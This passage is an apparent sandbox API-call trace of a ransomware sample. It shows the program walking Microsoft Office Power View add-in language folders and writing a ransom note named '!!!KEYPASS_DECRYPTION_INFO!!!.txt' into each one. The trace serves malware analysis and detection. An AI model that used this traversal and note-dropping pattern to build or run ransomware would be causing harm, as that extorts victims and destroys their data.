lpLCData="0") returned 2 [0251.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.275] WriteFile (in: hFile=0x81c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.276] WriteFile (in: hFile=0x81c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.276] CloseHandle (hObject=0x81c) returned 1 [0251.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39001b0 [0251.277] FindNextFileW (in: hFindFile=0x39001b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.277] FindNextFileW (in: hFindFile=0x39001b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.277] FindNextFileW (in: hFindFile=0x39001b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\AdHocReportingExcelClient.dll") returned=".dll" [0251.277] FindNextFileW (in: hFindFile=0x39001b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.277] FindNextFileW (in: hFindFile=0x39001b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.277] FindNextFileW (in: hFindFile=0x39001b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.277] FindNextFileW (in: hFindFile=0x39001b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.277] FindNextFileW (in: hFindFile=0x39001b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap") returned=".xap" [0251.277] FindNextFileW (in: hFindFile=0x39001b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.277] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.277] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.277] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.278] GetLastError () returned 0x3f0 [0251.278] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.278] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0251.307] GetFileType (hFile=0x820) returned 0x1 [0251.307] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.307] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.307] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.307] WriteFile (in: hFile=0x820, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.308] WriteFile (in: hFile=0x820, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.308] CloseHandle (hObject=0x820) returned 1 [0251.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39002f0 [0251.309] FindNextFileW (in: hFindFile=0x39002f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.309] FindNextFileW (in: hFindFile=0x39002f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.309] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.309] FindNextFileW (in: hFindFile=0x39002f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.309] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\AdHocReportingExcelClient.dll") returned=".dll" [0251.309] FindNextFileW (in: hFindFile=0x39002f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.309] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.309] FindNextFileW (in: hFindFile=0x39002f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.309] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.309] FindNextFileW (in: hFindFile=0x39002f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.309] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.309] FindNextFileW (in: hFindFile=0x39002f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.309] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.309] FindNextFileW (in: hFindFile=0x39002f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.309] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap") returned=".xap" [0251.309] FindNextFileW (in: hFindFile=0x39002f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.309] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.309] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.309] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.309] GetLastError () returned 0x3f0 [0251.309] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.309] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt-pt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0251.344] GetFileType (hFile=0x824) returned 0x1 [0251.345] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.345] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.345] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.345] WriteFile (in: hFile=0x824, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.346] WriteFile (in: hFile=0x824, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.346] CloseHandle (hObject=0x824) returned 1 [0251.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900330 [0251.347] FindNextFileW (in: hFindFile=0x3900330, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.347] FindNextFileW (in: hFindFile=0x3900330, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.347] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.347] FindNextFileW (in: hFindFile=0x3900330, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.347] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\AdHocReportingExcelClient.dll") returned=".dll" [0251.347] FindNextFileW (in: hFindFile=0x3900330, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.347] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.347] FindNextFileW (in: hFindFile=0x3900330, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.347] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.347] FindNextFileW (in: hFindFile=0x3900330, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.347] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.347] FindNextFileW (in: hFindFile=0x3900330, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.347] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.347] FindNextFileW (in: hFindFile=0x3900330, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.347] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap") returned=".xap" [0251.347] FindNextFileW (in: hFindFile=0x3900330, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.347] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.347] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.348] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.348] GetLastError () returned 0x3f0 [0251.348] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.348] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ro\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0251.354] GetFileType (hFile=0x82c) returned 0x1 [0251.354] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.354] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.354] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.355] WriteFile (in: hFile=0x82c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.357] WriteFile (in: hFile=0x82c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.357] CloseHandle (hObject=0x82c) returned 1 [0251.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900370 [0251.357] FindNextFileW (in: hFindFile=0x3900370, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.357] FindNextFileW (in: hFindFile=0x3900370, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.357] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.357] FindNextFileW (in: hFindFile=0x3900370, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.357] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\AdHocReportingExcelClient.dll") returned=".dll" [0251.357] FindNextFileW (in: hFindFile=0x3900370, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.358] FindNextFileW (in: hFindFile=0x3900370, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.358] FindNextFileW (in: hFindFile=0x3900370, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.358] FindNextFileW (in: hFindFile=0x3900370, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.358] FindNextFileW (in: hFindFile=0x3900370, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\PowerViewRes.ro.xap") returned=".xap" [0251.358] FindNextFileW (in: hFindFile=0x3900370, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.358] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.358] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.358] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.358] GetLastError () returned 0x3f0 [0251.358] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.358] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ru\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0251.409] GetFileType (hFile=0x828) returned 0x1 [0251.409] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.409] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.409] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.409] WriteFile (in: hFile=0x828, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.411] WriteFile (in: hFile=0x828, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.411] CloseHandle (hObject=0x828) returned 1 [0251.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39004b0 [0251.411] FindNextFileW (in: hFindFile=0x39004b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.411] FindNextFileW (in: hFindFile=0x39004b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.411] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.411] FindNextFileW (in: hFindFile=0x39004b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.424] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\AdHocReportingExcelClient.dll") returned=".dll" [0251.424] FindNextFileW (in: hFindFile=0x39004b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.424] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.424] FindNextFileW (in: hFindFile=0x39004b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.424] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.424] FindNextFileW (in: hFindFile=0x39004b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.424] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.424] FindNextFileW (in: hFindFile=0x39004b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.424] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.424] FindNextFileW (in: hFindFile=0x39004b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.424] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap") returned=".xap" [0251.425] FindNextFileW (in: hFindFile=0x39004b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.425] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.425] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.425] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.425] GetLastError () returned 0x3f0 [0251.425] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.425] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0251.457] GetFileType (hFile=0x834) returned 0x1 [0251.457] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.457] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.458] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.458] WriteFile (in: hFile=0x834, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.458] WriteFile (in: hFile=0x834, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, 